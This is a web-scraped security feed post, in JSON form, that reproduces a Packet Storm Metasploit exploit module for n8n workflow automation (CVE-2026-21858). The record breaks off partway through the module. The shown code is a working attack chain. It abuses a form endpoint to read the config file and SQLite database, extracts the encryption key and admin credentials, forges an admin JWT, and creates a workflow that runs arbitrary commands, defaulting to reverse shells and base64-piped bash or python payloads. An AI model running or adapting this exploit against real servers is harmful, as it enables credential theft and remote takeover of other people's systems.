{"id":41167,"date":"2026-02-17T12:46:12","date_gmt":"2026-02-17T12:46:12","guid":{"rendered":"http:\/\/localhost\/?p=41167"},"modified":"2026-02-17T12:46:12","modified_gmt":"2026-02-17T12:46:12","slug":"n8n-workflow-automation-remote-configuration-admin-data-extraction","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41167","title":{"rendered":"\ud83d\udcc4 n8n Workflow Automation Remote Configuration \/ Admin Data Extraction_PACKETSTORM:215730"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-17T18:14:57&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits multiple vulnerabilities in n8n workflow automation tool. It leverages a file read vulnerability to steal encryption keys and database, then uses stolen credentials to authenticate and execute arbitrary commands via the&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-17T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-17T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 n8n Workflow Automation Remote Configuration \/ Admin Data Extraction&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215730&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-21858&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : n8n Workflow Automation &#8211; Remote Configuration \\u0026 Admin Data Extraction                                                      |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.3 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/n8n.io\/                                                                                                             |\\n    =============================================================================================================================================\\n    \\n    [+] Summary    : This Metasploit module demonstrates a proof-of-concept (PoC) for exploiting misconfigurations in n8n workflow automation instances. It shows how an attacker could potentially:\\n    \\n    Read configuration files containing sensitive data (e.g., encryption keys).\\n    \\n    Extract administrator credentials from the SQLite database.\\n    \\n    Generate authentication tokens for privileged access.\\n    \\n    Optionally create and execute workflows to run commands (PoC only; not for real attacks).\\n    \\n    The module is intended for security research, penetration testing with explicit authorization, and vulnerability reporting. It includes safe error handling, retries, and cleanup procedures to minimize system impact.\\n    \\n    [+] POC : \\n    \\n    ##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    require &#8216;jwt&#8217;\\n    require &#8216;sqlite3&#8217;\\n    require &#8216;base64&#8217;\\n    require &#8216;digest&#8217;\\n    require &#8216;tempfile&#8217;\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = ManualRanking\\n    \\n      include Msf::Exploit::Remote::HttpClient\\n      include Msf::Exploit::CmdStager\\n      include Msf::Auxiliary::Report\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;n8n Unauthenticated Remote Code Execution&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              This module exploits multiple vulnerabilities in n8n workflow automation tool.\\n              It leverages a file read vulnerability to steal encryption keys and database,\\n              then uses stolen credentials to authenticate and execute arbitrary commands\\n              via the Execute Command node.\\n            },\\n            &#8216;Author&#8217; =\\u003e [\\n              &#8216;indoushka&#8217;\\n            ],\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;CVE&#8217;, &#8216;2026-21858&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/n8n.io&#8217;]\\n            ],\\n            &#8216;Privileged&#8217; =\\u003e false,\\n            &#8216;Platform&#8217; =\\u003e [&#8216;linux&#8217;, &#8216;unix&#8217;],\\n            &#8216;Arch&#8217; =\\u003e [ARCH_CMD, ARCH_X86, ARCH_X64],\\n            &#8216;Targets&#8217; =\\u003e [\\n              [\\n                &#8216;Linux Command&#8217;,\\n                {\\n                  &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n                  &#8216;Platform&#8217; =\\u003e &#8216;unix&#8217;,\\n                  &#8216;DefaultOptions&#8217; =\\u003e {\\n                    &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/unix\/reverse_bash&#8217;\\n                  }\\n                }\\n              ],\\n              [\\n                &#8216;Linux Dropper&#8217;,\\n                {\\n                  &#8216;Arch&#8217; =\\u003e [ARCH_X86, ARCH_X64],\\n                  &#8216;Platform&#8217; =\\u003e &#8216;linux&#8217;,\\n                  &#8216;DefaultOptions&#8217; =\\u003e {\\n                    &#8216;PAYLOAD&#8217; =\\u003e &#8216;linux\/x64\/meterpreter\/reverse_tcp&#8217;\\n                  }\\n                }\\n              ]\\n            ],\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2026-02-14&#8217;,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\\n            }\\n          )\\n        )\\n    \\n        register_options(\\n          [\\n            OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The base path to n8n&#8217;, &#8216;\/&#8217;]),\\n            OptString.new(&#8216;FORM_PATH&#8217;, [true, &#8216;Path to the vulnerable form endpoint&#8217;, &#8216;\/form\/&#8217;]),\\n            OptString.new(&#8216;HOME_DIR&#8217;, [true, &#8216;n8n home directory&#8217;, &#8216;\/home\/n8n&#8217;]),\\n            OptString.new(&#8216;BROWSER_ID&#8217;, [false, &#8216;Browser ID for session&#8217;, &#8216;msf_browser_&#8217; + Rex::Text.rand_text_alphanumeric(8)]),\\n            OptInt.new(&#8216;WAIT_TIME&#8217;, [true, &#8216;Time to wait between requests&#8217;, 5]),\\n            OptBool.new(&#8216;FOLLOW_REDIRECT&#8217;, [true, &#8216;Follow HTTP redirects&#8217;, true]),\\n            OptBool.new(&#8216;CLEANUP&#8217;, [true, &#8216;Attempt to clean up created workflows&#8217;, true]),\\n            OptInt.new(&#8216;RETRY_COUNT&#8217;, [true, &#8216;Number of retries for failed requests&#8217;, 3]),\\n            OptEnum.new(&#8216;PAYLOAD_METHOD&#8217;, [true, &#8216;Method to execute payload&#8217;, &#8216;auto&#8217;, [&#8216;auto&#8217;, &#8216;bash&#8217;, &#8216;sh&#8217;, &#8216;python3&#8217;, &#8216;python&#8217;]])\\n          ]\\n        )\\n      end\\n    \\n      def ensure_payload_loaded\\n        unless payload\\n          print_error(\\&#8221;No payload configured. Use &#8216;set PAYLOAD \\u003cpayload\\u003e&#8217;\\&#8221;)\\n          return false\\n        end\\n        true\\n      end\\n    \\n      def parse_json_response(response, context = &#8216;response&#8217;)\\n        return [nil, \\&#8221;No response to parse\\&#8221;] unless response\\n        \\n        begin\\n          json_data = JSON.parse(response.body)\\n          return [json_data, nil]\\n        rescue JSON::ParserError =\\u003e e\\n          error_msg = \\&#8221;Failed to parse JSON from #{context}: #{e.message}\\&#8221;\\n          if datastore[&#8216;VERBOSE&#8217;] \\u0026\\u0026 response.body\\n            print_warning(\\&#8221;Raw response (first 200 chars): #{response.body[0..200]}\\&#8221;)\\n          end\\n          return [nil, error_msg]\\n        end\\n      end\\n    \\n      def send_request_with_retry(opts, expected_codes = [200])\\n        retries = 0\\n        expected_codes = [expected_codes] unless expected_codes.is_a?(Array)\\n        \\n        begin\\n          opts[&#8216;follow_redirect&#8217;] = datastore[&#8216;FOLLOW_REDIRECT&#8217;] unless opts.key?(&#8216;follow_redirect&#8217;)\\n          res = send_request_cgi(opts)\\n    \\n          unless res\\n            retries += 1\\n            if retries \\u003c datastore[&#8216;RETRY_COUNT&#8217;]\\n              vprint_warning(\\&#8221;Request failed (no response), retrying (#{retries}\/#{datastore[&#8216;RETRY_COUNT&#8217;]})&#8230;\\&#8221;)\\n              sleep(1)\\n              retry\\n            else\\n              return [nil, \\&#8221;No response after #{retries} retries\\&#8221;]\\n            end\\n          end\\n    \\n          if expected_codes.include?(res.code)\\n            return [res, nil]\\n          else\\n            retries += 1\\n            if retries \\u003c datastore[&#8216;RETRY_COUNT&#8217;]\\n              vprint_warning(\\&#8221;Request returned HTTP #{res.code} (expected #{expected_codes.join(&#8216;, &#8216;)}), retrying&#8230;\\&#8221;)\\n              sleep(1)\\n              retry\\n            else\\n              return [res, \\&#8221;Unexpected HTTP code: #{res.code} (expected #{expected_codes.join(&#8216;, &#8216;)})\\&#8221;]\\n            end\\n          end\\n          \\n        rescue =\\u003e e\\n          retries += 1\\n          if retries \\u003c datastore[&#8216;RETRY_COUNT&#8217;]\\n            vprint_warning(\\&#8221;Request error: #{e.message}, retrying (#{retries}\/#{datastore[&#8216;RETRY_COUNT&#8217;]})&#8230;\\&#8221;)\\n            sleep(1)\\n            retry\\n          else\\n            return [nil, \\&#8221;Request failed after #{retries} retries: #{e.message}\\&#8221;]\\n          end\\n        end\\n      end\\n    \\n      def read_file_via_form(filepath)\\n        begin\\n          base_uri = datastore[&#8216;TARGETURI&#8217;]\\n          base_uri = &#8216;\/&#8217; if base_uri.empty?\\n          \\n          form_uri = normalize_uri(base_uri, datastore[&#8216;FORM_PATH&#8217;])\\n          \\n          payload = {\\n            &#8216;data&#8217; =\\u003e {},\\n            &#8216;files&#8217; =\\u003e {\\n              &#8216;file&#8217; =\\u003e {\\n                &#8216;filepath&#8217; =\\u003e filepath,\\n                &#8216;originalFilename&#8217; =\\u003e &#8216;pwn.txt&#8217;\\n              }\\n            }\\n          }.to_json\\n    \\n          vprint_status(\\&#8221;Attempting to read: #{filepath}\\&#8221;)\\n          \\n          res, error = send_request_with_retry({\\n            &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n            &#8216;uri&#8217; =\\u003e form_uri,\\n            &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n            &#8216;data&#8217; =\\u003e payload\\n          }, 200)\\n    \\n          unless res\\n            print_error(\\&#8221;Failed to read #{filepath}: #{error}\\&#8221;)\\n            return nil\\n          end\\n    \\n          json_res, parse_error = parse_json_response(res, \\&#8221;file read POST response\\&#8221;)\\n          \\n          if parse_error\\n            print_error(\\&#8221;Failed to parse response for #{filepath}: #{parse_error}\\&#8221;)\\n            return nil\\n          end\\n    \\n          waiting_url = json_res\\u0026.dig(&#8216;formWaitingUrl&#8217;)\\n          \\n          unless waiting_url\\n            print_error(\\&#8221;No formWaitingUrl in response for #{filepath}\\&#8221;)\\n            return nil\\n          end\\n    \\n          vprint_good(\\&#8221;Successfully triggered file read for #{filepath}\\&#8221;)\\n          sleep(datastore[&#8216;WAIT_TIME&#8217;])\\n          \\n          parsed_uri = URI.parse(waiting_url)\\n          file_res, file_error = send_request_with_retry({\\n            &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n            &#8216;uri&#8217; =\\u003e parsed_uri.path,\\n            &#8216;query&#8217; =\\u003e parsed_uri.query\\n          }, 200)\\n          \\n          if file_res\\n            vprint_good(\\&#8221;Successfully retrieved #{filepath} (#{file_res.body.length} bytes)\\&#8221;)\\n            return file_res.body\\n          else\\n            print_error(\\&#8221;Failed to retrieve file content for #{filepath}: #{file_error}\\&#8221;)\\n            return nil\\n          end\\n          \\n        rescue =\\u003e e\\n          print_error(\\&#8221;Unexpected error reading #{filepath}: #{e.message}\\&#8221;)\\n          print_error(\\&#8221;Backtrace: #{e.backtrace.join(\\&#8221;\\\\n\\&#8221;)}\\&#8221;) if datastore[&#8216;VERBOSE&#8217;]\\n          return nil\\n        end\\n      end\\n    \\n      def extract_encryption_key(config_data)\\n        begin\\n          if config_data =~ \/\\&#8221;encryptionKey\\&#8221;\\\\s*:\\\\s*\\&#8221;([^\\&#8221;]+)\\&#8221;\/\\n            enc_key = $1\\n            print_good(\\&#8221;Found encryption key: #{enc_key}\\&#8221;)\\n    \\n            every_other = (0&#8230;enc_key.length).step(2).map { |i| enc_key[i] }.join\\n            final_secret = Digest::SHA256.hexdigest(every_other)\\n            vprint_good(\\&#8221;Generated final secret: #{final_secret}\\&#8221;)\\n            \\n            return final_secret\\n          else\\n            print_error(\\&#8221;Could not find encryptionKey in config file\\&#8221;)\\n            return nil\\n          end\\n        rescue =\\u003e e\\n          print_error(\\&#8221;Error extracting encryption key: #{e.message}\\&#8221;)\\n          return nil\\n        end\\n      end\\n    \\n      def extract_admin_data_sqlite(db_content)\\n        temp_file = nil\\n        db = nil\\n        \\n        begin\\n    \\n          temp_file = Tempfile.new([&#8216;n8n_db&#8217;, &#8216;.sqlite&#8217;])\\n          temp_file.binmode\\n          temp_file.write(db_content)\\n          temp_file.close\\n          \\n          db = SQLite3::Database.new(temp_file.path)\\n          db.results_as_hash = true\\n    \\n          tables = db.execute(\\&#8221;SELECT name FROM sqlite_master WHERE type=&#8217;table&#8217;\\&#8221;)\\n          table_names = tables.map { |t| t[&#8216;name&#8217;] }\\n          \\n          unless table_names.include?(&#8216;user&#8217;)\\n            print_warning(\\&#8221;No &#8216;user&#8217; table found in database. Available tables: #{table_names.join(&#8216;, &#8216;)}\\&#8221;)\\n            return nil\\n          end\\n    \\n          columns = db.execute(\\&#8221;PRAGMA table_info(user)\\&#8221;)\\n          column_names = columns.map { |c| c[&#8216;name&#8217;] }\\n          vprint_status(\\&#8221;User table columns: #{column_names.join(&#8216;, &#8216;)}\\&#8221;)\\n    \\n          id_column = column_names.include?(&#8216;id&#8217;) ? &#8216;id&#8217; : nil\\n          email_column = column_names.include?(&#8217;email&#8217;) ? &#8217;email&#8217; : nil\\n          password_column = column_names.include?(&#8216;password&#8217;) ? &#8216;password&#8217; : nil\\n          \\n          unless id_column \\u0026\\u0026 email_column \\u0026\\u0026 password_column\\n            print_error(\\&#8221;Required columns not found in user table\\&#8221;)\\n            return nil\\n          end\\n    \\n          role_columns = column_names.select { |c| c.include?(&#8216;role&#8217;) }\\n          \\n          admin_query = nil\\n          \\n          if role_columns.any?\\n            role_col = role_columns.first\\n            admin_query = \\&#8221;SELECT #{id_column}, #{email_column}, #{password_column} FROM user WHERE #{role_col} IN (&#8216;global:owner&#8217;, &#8216;global:admin&#8217;, &#8216;owner&#8217;, &#8216;admin&#8217;) LIMIT 1\\&#8221;\\n          else\\n    \\n            admin_query = \\&#8221;SELECT #{id_column}, #{email_column}, #{password_column} FROM user ORDER BY createdAt ASC LIMIT 1\\&#8221;\\n          end\\n          \\n          users = db.execute(admin_query)\\n          \\n          if users.any?\\n            admin_id = users[0][id_column].to_s\\n            admin_email = users[0][email_column]\\n            admin_password = users[0][password_column]\\n            \\n            print_good(\\&#8221;Found admin via SQLite: #{admin_email} (ID: #{admin_id})\\&#8221;)\\n    \\n            combined = \\&#8221;#{admin_email}:#{admin_password}\\&#8221;\\n            sha256_digest = Digest::SHA256.digest(combined)\\n            admin_hash = Base64.strict_encode64(sha256_digest)[0..9]\\n            vprint_good(\\&#8221;Generated admin hash: #{admin_hash}\\&#8221;)\\n            \\n            return {\\n              &#8216;admin_id&#8217; =\\u003e admin_id,\\n              &#8216;admin_email&#8217; =\\u003e admin_email,\\n              &#8216;admin_password_hash&#8217; =\\u003e admin_password,\\n              &#8216;admin_hash&#8217; =\\u003e admin_hash\\n            }\\n          else\\n            print_warning(\\&#8221;No admin users found in database\\&#8221;)\\n            return nil\\n          end\\n          \\n        rescue SQLite3::Exception =\\u003e e\\n          print_error(\\&#8221;SQLite parsing failed: #{e.message}\\&#8221;)\\n          return nil\\n        rescue =\\u003e e\\n          print_error(\\&#8221;Error parsing SQLite: #{e.message}\\&#8221;)\\n          return nil\\n        ensure\\n          db\\u0026.close if db\\n          if temp_file\\n            temp_file.close\\n            temp_file.unlink\\n          end\\n        end\\n      end\\n    \\n      def create_session_token(secret, admin_id, admin_hash)\\n        begin\\n          browser_id = datastore[&#8216;BROWSER_ID&#8217;]\\n          hashed_browser = Base64.strict_encode64(Digest::SHA256.digest(browser_id))\\n          \\n          payload = {\\n            &#8216;id&#8217; =\\u003e admin_id,\\n            &#8216;hash&#8217; =\\u003e admin_hash,\\n            &#8216;browserId&#8217; =\\u003e hashed_browser,\\n            &#8216;usedMfa&#8217; =\\u003e false,\\n            &#8216;iat&#8217; =\\u003e Time.now.to_i,\\n            &#8216;exp&#8217; =\\u003e Time.now.to_i + 86400\\n          }\\n          \\n          token = JWT.encode(payload, secret, &#8216;HS256&#8217;)\\n          vprint_good(\\&#8221;Created authentication token: #{token[0..30]}&#8230;\\&#8221;)\\n          \\n          return token\\n        rescue =\\u003e e\\n          print_error(\\&#8221;Failed to create JWT token: #{e.message}\\&#8221;)\\n          return nil\\n        end\\n      end\\n    \\n      def create_workflow(token, command)\\n        begin\\n          base_uri = datastore[&#8216;TARGETURI&#8217;]\\n          base_uri = &#8216;\/&#8217; if base_uri.empty?\\n          \\n          workflow_name = \\&#8221;exploit_#{Rex::Text.rand_text_numeric(6)}\\&#8221;\\n          node_id = \\&#8221;node_#{Rex::Text.rand_text_alphanumeric(8)}\\&#8221;\\n          \\n          workflow_data = {\\n            &#8216;name&#8217; =\\u003e workflow_name,\\n            &#8216;active&#8217; =\\u003e false,\\n            &#8216;nodes&#8217; =\\u003e [\\n              {\\n                &#8216;parameters&#8217; =\\u003e {\\n                  &#8216;command&#8217; =\\u003e command\\n                },\\n                &#8216;name&#8217; =\\u003e &#8216;Execute Command&#8217;,\\n                &#8216;type&#8217; =\\u003e &#8216;n8n-nodes-base.executeCommand&#8217;,\\n                &#8216;typeVersion&#8217; =\\u003e 1,\\n                &#8216;position&#8217; =\\u003e [250, 250],\\n                &#8216;id&#8217; =\\u003e node_id\\n              }\\n            ],\\n            &#8216;connections&#8217; =\\u003e {}\\n          }.to_json\\n          \\n          res, error = send_request_with_retry({\\n            &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n            &#8216;uri&#8217; =\\u003e normalize_uri(base_uri, &#8216;rest&#8217;, &#8216;workflows&#8217;),\\n            &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n            &#8216;headers&#8217; =\\u003e {\\n              &#8216;browser-id&#8217; =\\u003e datastore[&#8216;BROWSER_ID&#8217;]\\n            },\\n            &#8216;cookie&#8217; =\\u003e \\&#8221;n8n-auth=#{token}\\&#8221;,\\n            &#8216;data&#8217; =\\u003e workflow_data\\n          }, 200)\\n          \\n          unless res\\n            print_error(\\&#8221;Failed to create workflow: #{error}\\&#8221;)\\n            return nil\\n          end\\n          \\n          json_res, parse_error = parse_json_response(res, \\&#8221;workflow creation\\&#8221;)\\n          \\n          if parse_error\\n            print_error(\\&#8221;Failed to parse workflow creation response: #{parse_error}\\&#8221;)\\n            return nil\\n          end\\n          \\n          workflow_id = json_res\\u0026.dig(&#8216;data&#8217;, &#8216;id&#8217;)\\n          \\n          unless workflow_id\\n            print_error(\\&#8221;No workflow ID in response\\&#8221;)\\n            return nil\\n          end\\n          \\n          print_good(\\&#8221;Created workflow: #{workflow_id}\\&#8221;)\\n          return json_res[&#8216;data&#8217;]\\n          \\n        rescue =\\u003e e\\n          print_error(\\&#8221;Error creating workflow: #{e.message}\\&#8221;)\\n          return nil\\n        end\\n      end\\n    \\n      def execute_workflow(token, workflow_info)\\n        begin\\n          return [nil, \\&#8221;No workflow info\\&#8221;] unless workflow_info\\u0026.dig(&#8216;id&#8217;)\\n          \\n          base_uri = datastore[&#8216;TARGETURI&#8217;]\\n          base_uri = &#8216;\/&#8217; if base_uri.empty?\\n          \\n          workflow_id = workflow_info[&#8216;id&#8217;]\\n          \\n          run_res, run_error = send_request_with_retry({\\n            &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n            &#8216;uri&#8217; =\\u003e normalize_uri(base_uri, &#8216;rest&#8217;, &#8216;workflows&#8217;, workflow_id, &#8216;run&#8217;),\\n            &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n            &#8216;headers&#8217; =\\u003e {\\n              &#8216;browser-id&#8217; =\\u003e datastore[&#8216;BROWSER_ID&#8217;]\\n            },\\n            &#8216;cookie&#8217; =\\u003e \\&#8221;n8n-auth=#{token}\\&#8221;,\\n            &#8216;data&#8217; =\\u003e { &#8216;workflowData&#8217; =\\u003e workflow_info }.to_json\\n          }, 200)\\n          \\n          unless run_res\\n            return [nil, \\&#8221;Failed to execute workflow: #{run_error}\\&#8221;]\\n          end\\n          \\n          json_res, parse_error = parse_json_response(run_res, \\&#8221;execution\\&#8221;)\\n          \\n          if parse_error\\n            return [nil, \\&#8221;Failed to parse execution response: #{parse_error}\\&#8221;]\\n          end\\n          \\n          execution_id = json_res\\u0026.dig(&#8216;data&#8217;, &#8216;executionId&#8217;)\\n          \\n          unless execution_id\\n            return [nil, \\&#8221;No execution ID in response\\&#8221;]\\n          end\\n          \\n          vprint_good(\\&#8221;Executed workflow, execution ID: #{execution_id}\\&#8221;)\\n    \\n          sleep(2)\\n          \\n          result_res, result_error = send_request_with_retry({\\n            &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n            &#8216;uri&#8217; =\\u003e normalize_uri(base_uri, &#8216;rest&#8217;, &#8216;executions&#8217;, execution_id),\\n            &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n            &#8216;headers&#8217; =\\u003e {\\n              &#8216;browser-id&#8217; =\\u003e datastore[&#8216;BROWSER_ID&#8217;]\\n            },\\n            &#8216;cookie&#8217; =\\u003e \\&#8221;n8n-auth=#{token}\\&#8221;\\n          }, 200)\\n          \\n          unless result_res\\n            return [nil, \\&#8221;Failed to get execution result: #{result_error}\\&#8221;]\\n          end\\n          \\n          json_res, parse_error = parse_json_response(result_res, \\&#8221;execution result\\&#8221;)\\n          \\n          if parse_error\\n            return [nil, \\&#8221;Failed to parse execution result: #{parse_error}\\&#8221;]\\n          end\\n          \\n          raw_data = json_res\\u0026.dig(&#8216;data&#8217;, &#8216;data&#8217;)\\n          \\n          unless raw_data\\n            return [nil, \\&#8221;No data in execution result\\&#8221;]\\n          end\\n          \\n          begin\\n            exec_data = JSON.parse(raw_data)\\n            output = extract_command_output(exec_data)\\n            return [output, nil]\\n          rescue JSON::ParserError\\n            return [raw_data, nil]\\n          end\\n          \\n        rescue =\\u003e e\\n          return [nil, \\&#8221;Error executing workflow: #{e.message}\\&#8221;]\\n        end\\n      end\\n    \\n      def extract_command_output(exec_data)\\n        if exec_data.is_a?(Array)\\n          exec_data.reverse.each do |item|\\n            if item.is_a?(String) \\u0026\\u0026 !item.empty? \\u0026\\u0026 item != &#8216;Execute Command&#8217; \\u0026\\u0026 !item.start_with?(&#8216;node-&#8216;)\\n              return item.strip\\n            end\\n          end\\n        end\\n        \\&#8221;No output captured\\&#8221;\\n      end\\n    \\n      def cleanup_workflows(token, workflow_ids)\\n        return unless datastore[&#8216;CLEANUP&#8217;] \\u0026\\u0026 workflow_ids\\u0026.any?\\n        \\n        print_status(\\&#8221;Cleaning up #{workflow_ids.length} workflows&#8230;\\&#8221;)\\n        \\n        base_uri = datastore[&#8216;TARGETURI&#8217;]\\n        base_uri = &#8216;\/&#8217; if base_uri.empty?\\n        \\n        workflow_ids.each do |wf_id|\\n          begin\\n            res, error = send_request_with_retry({\\n              &#8216;method&#8217; =\\u003e &#8216;DELETE&#8217;,\\n              &#8216;uri&#8217; =\\u003e normalize_uri(base_uri, &#8216;rest&#8217;, &#8216;workflows&#8217;, wf_id),\\n              &#8216;headers&#8217; =\\u003e {\\n                &#8216;browser-id&#8217; =\\u003e datastore[&#8216;BROWSER_ID&#8217;]\\n              },\\n              &#8216;cookie&#8217; =\\u003e \\&#8221;n8n-auth=#{token}\\&#8221;\\n            }, [200, 204, 404]) # 404 \u064a\u0639\u0646\u064a \u0623\u0646\u0647 \u0645\u062d\u0630\u0648\u0641 \u0628\u0627\u0644\u0641\u0639\u0644\\n            \\n            if res \\u0026\\u0026 (res.code == 200 || res.code == 204)\\n              print_status(\\&#8221;Cleaned up workflow: #{wf_id}\\&#8221;)\\n            elsif res \\u0026\\u0026 res.code == 404\\n              print_status(\\&#8221;Workflow #{wf_id} already deleted\\&#8221;)\\n            else\\n              print_warning(\\&#8221;Failed to delete workflow #{wf_id}: #{error}\\&#8221;)\\n            end\\n          rescue =\\u003e e\\n            print_warning(\\&#8221;Error during cleanup of workflow #{wf_id}: #{e.message}\\&#8221;)\\n          end\\n        end\\n      end\\n    \\n      def check\\n        begin\\n    \\n          test_file = \\&#8221;#{datastore[&#8216;HOME_DIR&#8217;]}\/.n8n\/config\\&#8221;\\n          data = read_file_via_form(test_file)\\n          \\n          if data \\u0026\\u0026 data.include?(&#8216;encryptionKey&#8217;)\\n            print_good(\\&#8221;Target appears vulnerable &#8211; found encryption key in config\\&#8221;)\\n            return Exploit::CheckCode::Vulnerable\\n          end\\n          \\n          return Exploit::CheckCode::Safe\\n          \\n        rescue =\\u003e e\\n          print_error(\\&#8221;Error during check: #{e.message}\\&#8221;)\\n          return Exploit::CheckCode::Unknown\\n        end\\n      end\\n    \\n      def select_payload_method\\n        method = datastore[&#8216;PAYLOAD_METHOD&#8217;]\\n        \\n        if method == &#8216;auto&#8217;\\n    \\n          [\\n            [&#8216;bash&#8217;, &#8216;bash -c&#8217;],\\n            [&#8216;sh&#8217;, &#8216;sh -c&#8217;],\\n            [&#8216;python3&#8217;, &#8216;python3 -c&#8217;],\\n            [&#8216;python&#8217;, &#8216;python -c&#8217;]\\n          ].each do |name, _|\\n            return name\\n          end\\n          return &#8216;bash&#8217; \\n        end\\n        \\n        method\\n      end\\n    \\n      def generate_compatible_payload\\n        unless ensure_payload_loaded\\n          return nil\\n        end\\n        \\n        case target[&#8216;Arch&#8217;]\\n        when ARCH_CMD\\n          command = payload.encoded\\n    \\n          if command.length \\u003e 1000\\n            print_warning(\\&#8221;Command payload is very long (#{command.length} chars)\\&#8221;)\\n          end\\n          vprint_status(\\&#8221;Using command payload\\&#8221;)\\n          return command\\n          \\n        else\\n    \\n          payload_b64 = Rex::Text.encode_base64(payload.encoded)\\n          method = select_payload_method\\n          \\n          commands = {\\n            &#8216;bash&#8217; =\\u003e \\&#8221;echo #{payload_b64} | base64 -d | bash\\&#8221;,\\n            &#8216;sh&#8217; =\\u003e \\&#8221;echo #{payload_b64} | base64 -d | sh\\&#8221;,\\n            &#8216;python3&#8217; =\\u003e \\&#8221;echo #{payload_b64} | python3 -c &#8216;import base64,sys; exec(base64.b64decode(sys.stdin.read()))&#8217;\\&#8221;,\\n            &#8216;python&#8217; =\\u003e \\&#8221;echo #{payload_b64} | python -c &#8216;import base64,sys; exec(base64.b64decode(sys.stdin.read()))&#8217;\\&#8221;\\n          }\\n          \\n          selected_command = commands[method]\\n          \\n          if selected_command\\n            print_status(\\&#8221;Using #{method} method for payload execution\\&#8221;)\\n            return selected_command\\n          else\\n    \\n            print_warning(\\&#8221;Unknown method #{method}, falling back to bash\\&#8221;)\\n            return commands[&#8216;bash&#8217;]\\n          end\\n        end\\n      end\\n    \\n      def exploit\\n        print_status(\\&#8221;Starting n8n exploitation&#8230;\\&#8221;)\\n    \\n        unless ensure_payload_loaded\\n          return\\n        end\\n        \\n        created_workflows = []\\n        token = nil\\n        admin_data = nil\\n        secret = nil\\n        \\n        begin\\n    \\n          print_status(\\&#8221;Step 1: Stealing configuration file&#8230;\\&#8221;)\\n          config_path = \\&#8221;#{datastore[&#8216;HOME_DIR&#8217;]}\/.n8n\/config\\&#8221;\\n          config_data = read_file_via_form(config_path)\\n          \\n          unless config_data\\n            print_error(\\&#8221;Failed to read config file. Target may not be vulnerable or path is incorrect.\\&#8221;)\\n            return\\n          end\\n    \\n          print_status(\\&#8221;Step 2: Extracting encryption key&#8230;\\&#8221;)\\n          secret = extract_encryption_key(config_data)\\n          unless secret\\n            print_error(\\&#8221;Failed to extract encryption key\\&#8221;)\\n            return\\n          end\\n    \\n          print_status(\\&#8221;Step 3: Stealing database file&#8230;\\&#8221;)\\n          db_path = \\&#8221;#{datastore[&#8216;HOME_DIR&#8217;]}\/.n8n\/database.sqlite\\&#8221;\\n          db_data = read_file_via_form(db_path)\\n          \\n          unless db_data\\n            print_error(\\&#8221;Failed to read database file\\&#8221;)\\n            return\\n          end\\n    \\n          print_status(\\&#8221;Step 4: Extracting admin credentials&#8230;\\&#8221;)\\n          admin_data = extract_admin_data_sqlite(db_data)\\n          \\n          unless admin_data\\n            print_error(\\&#8221;Failed to extract admin data using SQLite parser\\&#8221;)\\n            print_error(\\&#8221;Database may be corrupted or from different n8n version\\&#8221;)\\n            return\\n          end\\n          \\n          print_good(\\&#8221;Successfully extracted admin credentials for: #{admin_data[&#8216;admin_email&#8217;]}\\&#8221;)\\n    \\n          print_status(\\&#8221;Step 5: Creating authentication token&#8230;\\&#8221;)\\n          token = create_session_token(secret, admin_data[&#8216;admin_id&#8217;], admin_data[&#8216;admin_hash&#8217;])\\n          \\n          unless token\\n            print_error(\\&#8221;Failed to create authentication token\\&#8221;)\\n            return\\n          end\\n    \\n          print_status(\\&#8221;Step 6: Preparing payload&#8230;\\&#8221;)\\n          command = generate_compatible_payload\\n          \\n          unless command\\n            print_error(\\&#8221;Failed to generate payload\\&#8221;)\\n            return\\n          end\\n    \\n          print_status(\\&#8221;Step 7: Creating malicious workflow&#8230;\\&#8221;)\\n          workflow_info = create_workflow(token, command)\\n          \\n          unless workflow_info\\n            print_error(\\&#8221;Failed to create workflow\\&#8221;)\\n            return\\n          end\\n          \\n          created_workflows \\u003c\\u003c workflow_info[&#8216;id&#8217;]\\n    \\n          